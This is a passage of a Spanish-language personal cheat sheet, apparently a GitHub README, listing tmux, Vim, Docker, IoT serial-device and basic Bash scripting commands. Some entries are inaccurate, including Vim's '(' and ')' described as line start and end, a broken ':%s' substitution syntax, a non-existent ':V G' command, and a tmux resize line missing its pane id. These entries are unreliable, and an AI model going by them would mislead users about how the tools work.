current pane upward)\nresize-pane -L (Resizes the current pane left)\nresize-pane -R (Resizes the current pane right)\nresize-pane -D 20 (Resizes the current pane down by 20 cells)\nresize-pane -U 20 (Resizes the current pane upward by 20 cells)\nresize-pane -L 20 (Resizes the current pane left by 20 cells)\nresize-pane -R 20 (Resizes the current pane right by 20 cells)\nresize-pane -t 2 20 (Resizes the pane with the id of 2 down by 20 cells)\nresize-pane -t -L 20 (Resizes the pane with the id of 2 left by 20 cells)\n```\n\nSalir de la session: ``Ctrl b`` + d\n\nCambiar sessions: ``Ctrl b`` + s\n\nListar las sessions: ``tmux ls``\n\nAdjuntar un session: ``tmux attach -t mysession``\n\nSalir de una session: ``exit`` o ``Ctrl b x``\n\nExtras:\n\nReloj: ``Ctrl b`` + ``t``\n\nShortcuts: ``Ctrl b`` + ``?``\n\n## Vim\n\nBásicos:\n\n``i`` -\u003e Modo insertar (insertar texto).\n\n``ESC`` -\u003e Modo Normal.\n\n``v`` -\u003e Modo visual.\n\n``:w`` -\u003e guardar.\n\n``:wq`` -\u003e guardar y salir.\n\n``:qa!`` -\u003e salir sin guardar.\n\n``k`` -\u003e subir.\n\n``j`` -\u003e bajar.\n\n``h`` -\u003e izquierda.\n\n``l`` -\u003e derecha.\n\n``o`` -\u003e insertar + línea adicional abajo, ``O`` insertar + línea arriba.\n\n``u`` -\u003e undo, deshacer.\n\n``Ctrl r`` -\u003e rehacer.\n\n``y`` -\u003e copiar.\n\n``d`` -\u003e borrar (cortar), ``dd`` -\u003e cortar línea, ``dw`` cortar palabra desde el sitio, ``daw`` cortar palabra entera, ``da\"`` borra palabra dentro de \"\" \n``p`` -\u003e pegar siguient línea y ``P`` para pegar en misma línea.\n\n``a`` -\u003e insertar a la derecha del cursor ``A`` -\u003e inserta al final de la línea.\n\n``I`` -\u003e insertar al principio de la línea.\n\nDesplazamiento:\n\n``e`` -\u003e final de palabra.\n\n``w ``-\u003e comienzo y final de cada palabra.\n\n``0`` -\u003e principio de línea.\n\n``Shift arrows`` -\u003e desplazar rapidamente por el documento.\n\n``[[`` -\u003e Ir al primer bloque.\n\n``]]`` -\u003e Ir al último bloque.\n\n``}`` -\u003e Bloque siguiente.\n\n``{`` -\u003e Bloque anterior.\n\n``(`` -\u003e Principio de línea.\n\n``)`` -\u003e Fin de línea.\n\n``:55`` -\u003e Ir a línea 55.\n\n``Ctrl O`` -\u003e Navegar entre posiciones.\n\n`` '' `` -\u003e Navegar a la posición previa. \n\n``f + {`` -\u003e Va directamente al siguiente ``{``. Funciona para otros caracteres, por ejemplo: ``[ , ( , [a-z], [0-9] ,``, etc.\n\nSelección:\n\n``v`` -\u003e seleccionar (usar cursor o letras para mover, sirve combiando con Shift).\n\n``V`` -\u003e seleccionar línea entera.\n\n``:V G`` -\u003e selecciona todo el texto abajo del cursor.\n\nSeleccionar una función \u003c- ``V }``.\n\nSeleccionar bloques hacia abajo \u003c- ``v }``.\n\nSeleccionar bloques hacia arriba \u003c- ``v {``.\n\nSeleccionar html tag hacia abajo o arriba \u003c- ``vat``\n\nFuncionalidades:\n\nMostrar archivos en path \u003c- ``:!ls``.\n\nBuscar y abrir archivos en path \u003c- ``Ctrl p``.\n\nEncontrar patrón en texto \u003c- ``/patron``.\n\nBorrar una función \u003c-  ``V } d``.\n\nBorrar todo dentro de comillas \u003c- ``d i \"``\n\nCambiar entre ventanas \u003c- ``Ctrl + w + k`` o ``Ctrl + w + j``\n\nBorrar 10 líneas abajos \u003c- ``10  dd ``\n\nIr al inicio \u003c- ``gg``. Ir al final ``G``. Mostrar status ``Ctrl + g``.\n\nErgonómicos:\n\nSalir \u003c- ``Z Q``v, ``:qa!``\n\n``Ctrl c``-\u003e Modo Normal.\n\n``:V G d`` -\u003e borrar todo el documento\n\nBorrar y editar directamente dentro de una función \u003c- ``c i {`` \n\n``/`` -\u003e buscar, ``n`` siguiente y ``N`` anterior\n\n``Ctrl v`` -\u003e Bloques visuales. Seguido de ``I`` editar y ``ESC`` permite cambiar las líneas seleccionadas.\n\n``.`` -\u003e Rehace el último comando en un sito nuevo.\n\nMarcas:\n\nEscribe ``:mark a`` en la línea que desea marcar, navega a ella con ``'a``. También puedes navegar entre marcas con ``['`` y ``]'``.\n\nEditar múltiples líneas:\n\nSeleccinamos con ``V`` y luego usamos ``Ctrl V`` seguido de las teclas de desplazamiento (j, k, l, h, etc...) y el texto a agregar.\n\nSustituir patrón de texto \u003c- ``:%s 'texto a sustituir'/'nuevo texto'``.\n\nComentar múltiples líneas:\n\nComentar \u003c- Seleccionar texto a comentar y luego ``:norm i// (o :norm i#)``. O, puedes utilizar ``:s/^/# /`` .\n\nAutoindent múltiples líneas (Ideal para programar en Python):\n\nSeleccionar líneas con ``V`` y luego ``\u003e\u003e``.\n\nAutocompletar \u003c- ``Ctrl x Ctrl o``, luego seleccionar con ``Ctrl n`` .\n\nPrettier para js, html, css \u003c- ``Ctrl l``. \n\nEditar varias líneas al mismo tiempo:\n\nEncerrar texto seleccionado en un tab \u003c- selecciona con v o V, luego ``S`` y finalmente el tag, por ejemplo, ```\u003cdiv\u003e```.\nPara agregar espacios a multiples líneas seleccionamos con ``V`` y agregamos ``I``, luego con espacios movemos las líneas.  \n\nEditar varios archivos en la misma pantalla\n\nEditar un nuevo archivo: ``:e nombre_archivo``\n\nDividir la pantalla verticalmente y abrir un nuevo archivo para editar: ``:vsplit nombre_archivo`` \n\nPara dividir horizontalmente usamos ``:split``\n\nNavegar entre pantallas: ``Ctrl w + jklh``\n\nCon ``:hide`` podemos esconder la ventana, o simplemente ``:q``, ``:qa!`` o ``:wq`` para cerrarla.\n\nAbrir la terminal sin salir de Vim:\n\nPodemos usar ``:term`` o ``:vert term`` para que se divida la pantalla verticalmente. \n\nAdicionalmente, podemos usar ``Ctrl z`` para suspender Vim y luego ``fg`` en la terminal para regresar a vim. \n\nEncapsular un ``tag``  con otro ``tag`` facilmente. Útil para react, react-native, etc...\n*Requiere el plugin ``surround``.\n\nSelecciona el tag a encapsular con ``v``, luego utiliza ``S`` y escribe el tag que va a encapsular al anterior, por ejemplo ``View`` o ``div``.  \n\n`Ctrl ^` Para alternar entre archivos.\n\n\n## Docker\n\n``` \ndocker run -it ubuntu \ndocker images\n\n```\nDockerfile:\n\n```\nFROM\nMAINTAINER\nLABEL\nCOPY\nADD\nRUN\nEXPOSE\nCMD\nENTRYPOINT\n```\n\n```\ndocker build . -t example  \ndocker run example\ndocker ps\ndocker logs\ndocker exec $ID bash\ndocker inspect $ID\ndocker network ls\ndocker image prune -a # borra las imagenes no utilizadas\ndocker system prune # elimina el cache, los containers e imagenes detenidas, etc.\n```\nPara acceder a los puertos del localhost desde el contenedor: \n```\ndocker run -it --network host example  \n```\nPara limitar el uso de memoria RAM y de CPU:\n```\ndocker run -dit --memory=\"1g\" --cpus=\"1.0\" nombre_contenedor\n```\nPuedes pasarle un archivo `dotfiles` con:\n```\ndocker run --env-files .env-my-path -it nombre_contenedor\n```\nO pasar variable de entorno (.env) con `-e mysecret=value`\n\nUso de ``docker-compose``:\n```\ndocker-compose build\ndocker-compose up\ndocker-compose start\ndocker-compose stop\n```\n## IoT\n\nDispositivos conectados USB por conexión serial. Ubicarlo es sencillo con:\n\n ```\n dmesg | grep ttyUSB\n ```\n \nPodemos usar rshell y repl para acceder al dispositivo\n\n ```\n rshell -p /dev/ttyUSB \u0026\u0026 repl\n ```\n \nPara interactuar con el dispositivo, podemos usar:\n\n```\n ampy --port /dev/ttyUSB** ls\n ampy --port /dev/ttyUSB** put archivo\n ampy --port /dev/ttyUSB** run archivo\n ampy --port /dev/ttyUSB** rm archivo\n```\nTemperatura CPU Raspberry Pi\n\n```\n/opt/vc/bin/vcgencmd measure_temp\n```\n \nControla el audio:\n\n```\namixer scontrols\n```\nBusca el dispositivo y ajustar el volumen \n```\namixer sset 'PCM' 100%\n```\n\n## Programación (Bash Sripting)\n\n### Declarar variables:\n\n          mivar=\"HOLA-MUNDO!!\"\n          echo $mivar\n          yes $mivar\n\n### Leer input del usuario:\n\n          read -p \"Escríbeme un saludo: \" -r saludos\n          echo \"$saludos para ti también\"\n\n### For \n\n          for i in {1..10} ; do \n              echo \"hola $i\"; \n          done\n\n           \n            for i in $( ls ); do\n                echo item: $i;\n                sleep 1;\n            done \n\n            \n            for i in `seq 1 10`;\n            do\n                    echo $i\n            done    \n            \n            for e in {0..9};do echo $e🍀; done;\n            \n### While\n              \n             COUNTER=0\n             while [  $COUNTER -lt 10 ]; do\n                 echo The counter is $COUNTER\n                 let COUNTER=COUNTER+1 \n             done\n    \n### Until\n              \n             COUNTER=20\n             until [  $COUNTER -lt 10 ]; do\n                 echo COUNTER $COUNTER\n                 let COUNTER-=1\n             done\n             \n### If\n             \n             if [ hola == hola ]; then\n                 echo TRUE;\n                 else \n                     echo FALSE;\n             fi\n             \n             VAR=\"Hello Amit\";\n             if [[ $VAR == *Amit* ]];\n                 then echo \"its Amit\";\n                 else\n                     echo \"Its not Amit\";\n             fi\n             \n### Aritmética   \n\n             echo $((((2+2-3)*3)/3))\n             \n### Funciones\n\n             function chao {\n               echo 'Chao amigo!';\n               exit;\n             }\n \n             \n###########################################################################\n\n \n### Links\n\nhttps://programandoconro.wordpress.com/2019/10/02/mis-99-comandos-favoritos-en-gnu-linux/\nhttps://programandoconro.wordpress.com/2020/01/02/10-trucos-en-linux-para-programadores-principiantes/\nhttps://programandoconro.wordpress.com/ssh-accede-a-tu-red-local-y-programa-remotamente/\nhttps://github.com/programandoconro/Programming-Locker/\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fprogramandoconro%2Fmis-comandos-linux","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fprogramandoconro%2Fmis-comandos-linux","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fprogramandoconro%2Fmis-comandos-linux/lists"}